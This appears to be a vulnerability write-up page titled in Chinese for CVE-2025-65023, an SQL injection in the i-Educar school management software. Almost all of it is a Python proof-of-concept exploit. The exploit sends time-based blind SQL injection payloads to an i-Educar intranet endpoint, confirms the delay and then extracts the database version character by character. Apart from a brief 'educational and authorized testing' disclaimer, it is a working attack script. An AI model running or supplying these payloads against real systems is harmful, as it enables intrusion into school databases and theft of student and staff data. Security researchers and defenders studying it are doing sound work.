CVE-2025-65023 i-Educar学校管理软件SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-65023 - i-Educar Time-based SQL Injection PoC Affected Version: i-Educar <= 2.10.0 Note: This PoC is for educational and authorized testing purposes only """ import requests import time import sys def test_sqli_time_based(target_url, session_cookie, employee_vinculo_id='1'): """ Test for time-based SQL injection vulnerability SLEEP() function is used to introduce delay based on condition evaluation """ print(f"[*] Testing CVE-2025-65023 on {target_url}") print(f"[*] Target endpoint: /funcionario_vinculo_cad.php") # Vulnerable endpoint endpoint = f"{target_url}/ieducar/intranet/funcionario_vinculo_cad.php" # Normal request for baseline timing print("\n[1] Sending baseline request...") start = time.time() normal_params = {'cod_funcionario_vinculo': employee_vinculo_id} headers = {'Cookie': f'ieducar={session_cookie}'} try: resp = requests.get(endpoint, params=normal_params, headers=headers, timeout=10) normal_time = time.time() - start print(f"[+] Baseline response time: {normal_time:.2f}s") except requests.exceptions.Timeout: normal_time = 10 print(f"[!] Request timed out (baseline)") # SQL injection test payload with SLEEP(5) print("\n[2] Sending SQL injection payload...") sqli_payload = f"1 AND (SELECT * FROM (SELECT(SLEEP(5)))test)-- " start = time.time() inj_params = {'cod_funcionario_vinculo': sqli_payload} try: resp = requests.get(endpoint, params=inj_params, headers=headers, timeout=15) inj_time = time.time() - start print(f"[+] Injection response time: {inj_time:.2f}s") except requests.exceptions.Timeout: inj_time = 15 print(f"[!] Request timed out (injection)") # Vulnerability check if inj_time > normal_time + 3: print(f"\n[!] VULNERABLE: Response delayed by {inj_time - normal_time:.2f}s") print("[!] Time-based SQL injection confirmed!") return True else: print(f"\n[*] NOT VULNERABLE or payload did not trigger delay") return False def extract_data(target_url, session_cookie): """ Example: Extract database version using time-based blind injection This is a simplified demonstration """ print("\n[*] Extracting database version via time-based injection...") endpoint = f"{target_url}/ieducar/intranet/funcionario_vinculo_cad.php" headers = {'Cookie': f'ieducar={session_cookie}'} # Binary search approach for efficient data extraction version = "" for pos in range(1, 50): found = False for ascii_val in range(32, 127): # Payload: Extract character at position using SUBSTRING and ASCII payload = f"1 AND ASCII(SUBSTRING((SELECT VERSION()),{pos},1))={ascii_val} AND SLEEP(2)-- " start = time.time() try: resp = requests.get(endpoint, params={'cod_funcionario_vinculo': payload}, headers=headers, timeout=5) elapsed = time.time() - start if elapsed >= 2: version += chr(ascii_val) print(f"[+] Position {pos}: {chr(ascii_val)} (total: {version})") found = True break except: pass if not found: break print(f"\n[!] Extracted version: {version}") return version if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-65023-poc.py <target_url> <session_cookie>") print("Example: python cve-2025-65023-poc.py http://localhost admin_session_cookie") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] # Test for vulnerability is_vulnerable = test_sqli_time_based(target, cookie) if is_vulnerable: print("\n[*] Proceeding with data extraction...") extract_data(target, cookie)